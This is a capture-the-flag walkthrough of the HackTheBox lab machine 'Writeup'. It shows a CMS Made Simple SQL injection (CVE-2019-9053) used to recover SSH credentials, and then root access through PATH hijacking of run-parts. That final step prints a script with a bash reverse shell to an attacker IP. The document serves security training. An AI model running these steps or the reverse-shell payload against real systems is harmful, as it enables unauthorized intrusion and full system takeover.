Writeup
is an easy Linux box. The box required us to exploit a known vulnerability in a well known CMS, which gave us the credentials for the inital user access. Finally, after enumerating the system we needed to exploit a path injection vulnerability to obtain root access. Overall a great box for beginners!
Enumeration
As always, we start by scanning the target machine’s open ports:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
rustscan --ulimit 5000 writeup.htb -- sV -sC -oN nmap_scan
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 dd:53:10:70:0b:d0:47:0a:e2:7e:4a:b6:42:98:23:c7 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKBbBK0GkiCbxmAbaYsF4DjDQ3JqErzEazl3v8OndVhynlxNA5sMnQmyH+7ZPdDx9IxvWFWkdvPDJC0rUj1CzOTOEjN61Qd7uQbo5x4rJd3PAgqU21H9NyuXt+T1S/Ud77xKei7fXt5kk1aL0/mqj8wTk6HDp0ZWrGBPCxcOxfE7NBcY3W++IIArn6irQUom0/AAtR3BseOf/VTdDWOXk/Ut3rrda4VMBpRcmTthjsTXAvKvPJcaWJATtRE2NmFjBWixzhQU+s30jPABHcVtxl/Fegr3mvS7O3MpPzoMBZP6Gw8d/bVabaCQ1JcEDwSBc9DaLm4cIhuW37dQDgqT1V
| 256 37:2e:14:68:ae:b9:c2:34:2b:6e:d9:92:bc:bf:bd:28 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPzrVwOU0bohC3eXLnH0Sn4f7UAwDy7jx4pS39wtkKMF5j9yKKfjiO+5YTU//inmSjlTgXBYNvaC3xfOM/Mb9RM=
| 256 93:ea:a8:40:42:c1:a8:33:85:b3:56:00:62:1c:a0:ab (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEuLLsM8u34m/7Hzh+yjYk4pu3WHsLOrPU2VeLn22UkO
80/tcp open http syn-ack Apache httpd 2.4.25 ((Debian))
| http-methods:
|_ Supported Methods: POST OPTIONS HEAD GET
| http-robots.txt: 1 disallowed entry
|_/writeup/
|_http-title: Nothing here yet.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Here, we see two open ports:
- Port 22: Running OpenSSH 7.4p1 Debian
- Port 80: Running Apache httpd 2.4.25
Enumeration Port 80
Looking at the website hosted on port 80, we see the following:
Here (marked in red), we already get some information about what this is, whom it’s written by and some other possibly useful information such as emails and hints towards backups and downloads.
Also, the port scan has already given us the information that there is a robots.txt
file with a single entry namel /writeup/
. Let’s examine this.
Writeup Directory
In this directory we find something which seems to be a blog for HTB writeups.
Switching between the stored posts, we can see that the writeups are loaded into the page via a page
GET parameter. These kind of parameters are usually prone to several validation flaws which can ultimately lead to LFI and SQLI. So let’s test for these vulnerabilities.
Unfortunately all tests regarding these vulnerabilities fail. So back to the writeup posts. Looking at the source code of these posts we indeed find something very interesting!
These posts are generated using CMS Made Simple
!
CMS Made Simple is an Open Source Content Management System. It’s built using PHP and the Smarty Engine, which keeps content, functionality, and templates separated. (cmsmadesimple.org)
Initial Foothold - User jkr
So we’ve just found out that the writeup blog is using CMS Made Simple. A quick google search on vulnerabilities for this software reveals that there is a possible SQLI (aka CVE-2019-9053). Also, there is a nice article about the vulnerability that explains the technical details and also provides a PoC.
Investigating this script, we see that this is a time-based SQL Injection which bruteforces the password salts, the username, the email and most importantly the password of the found user.
Let’s run this script on our attacker machine:
1
python2 cmsmade_simple_sqli.py -u http://10.129.177.7/writeup/ --crack -w rockyou.txt
Showing the process of the time-based SQL Injection.
The credentials we retrieve are: jkr:raykayjay9
. Great! We can use these credentials to connect to the machine via SSH and obtain the user flag!
Privilege Escalation
As always, we first start with the default system enumeration. Running uname
shows that it is Linux version 4.0.0.8-amd64 (Debian). Further, it appears that sudo
is not installed and at first glance it seems like there are no interesting cron jobs which can be exploited. Also, the check for SUID and capabilities results in no anomalies.
Next, we transfer pspy64
to the system and run it to monitor all running and spawning processes. This shows that there are indeed cron jobs running. However, it seems to be some kind of HTB cleanup script to which we dont have access.
HTB cleanup script run by the cron job
For some reason, I then lost connection to the machine while still having the pspy script running. So I connected to the machine in another terminal once again. Somehow the initial shell then started to react again. There we can see some very interesting information:
Snippet of the pspy output. We can see the process which spawned when the user logged in
The command that is being executed once logged in, is the following:
1
sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new
This does definitely not look secure. First, we have to check the permissions of the run-parts
executable. Maybe, we have write access to it and can then modify the content. If not, then we still have another attack vector namely the path-injection
as the executable is called without an absolute path and therefore relies on the PATH
env variable to find the file.
So let’s start with the file permissions:
1
2
3
4
5
jkr@writeup:/tmp# which run-parts
/bin/run-parts
root@writeup:/tmp# ls -la run-parts
-rw-r--r-- 1 jkr jkr 76 May 11 07:19 run-parts
Unfortunately, we dont have sufficient permissions to directly modify the file. However, we see that the executable is located in the /bin/
directory which is the very last part of the PATH
env variable. This means, if any of the other directories which are listed in the PATH is writeable, we can include our own run-parts
executable. Therefore, we take a look at all the permissions of the other directories.
1
2
3
4
5
6
7
8
9
10
11
12
13
jkr@writeup:/tmp# ls -la /usr/local
total 64
drwxrwsr-x 10 root staff 4096 Apr 19 2019 .
drwxr-xr-x 10 root root 4096 Apr 19 2019 ..
drwx-wsr-x 2 root staff 20480 Apr 19 2019 bin
drwxrwsr-x 2 root staff 4096 Apr 19 2019 etc
drwxrwsr-x 2 root staff 4096 Apr 19 2019 games
drwxrwsr-x 2 root staff 4096 Apr 19 2019 include
drwxrwsr-x 4 root staff 4096 Apr 24 2019 lib
lrwxrwxrwx 1 root staff 9 Apr 19 2019 man -> share/man
drwx-wsr-x 2 root staff 12288 May 11 07:35 sbin
drwxrwsr-x 8 root staff 4096 Aug 6 2021 share
drwxrwsr-x 2 root staff 4096 Apr 19 2019 src
Jackpot! Remember the output of the id
? Our current user is member of the staff
group and is thus able to write to any of the listed directories. To not spoil other HTB players, I chose the sbin
directoy as my target folder as it won’t be readable for the others.
The next step is to create our own run-parts
executable:
1
2
3
4
5
#!/bin/bash
touch /tmp/ITWORKED
bash -i >& /dev/tcp/10.10.14.64/4444 0>&1
For debugging purposes I usually include a command like touch /tmp/ITWORKED
just to verify that the general idea works (in case the reverse shell does not work for some reason). We store this file as /usr/local/sbin/run-parts
and give it execute permissions using chmod
.
Final step is to set up a nc listener on the attacker machine and log in via SSH. And there we go! We are root and can obtain the root flag.
Root access to the system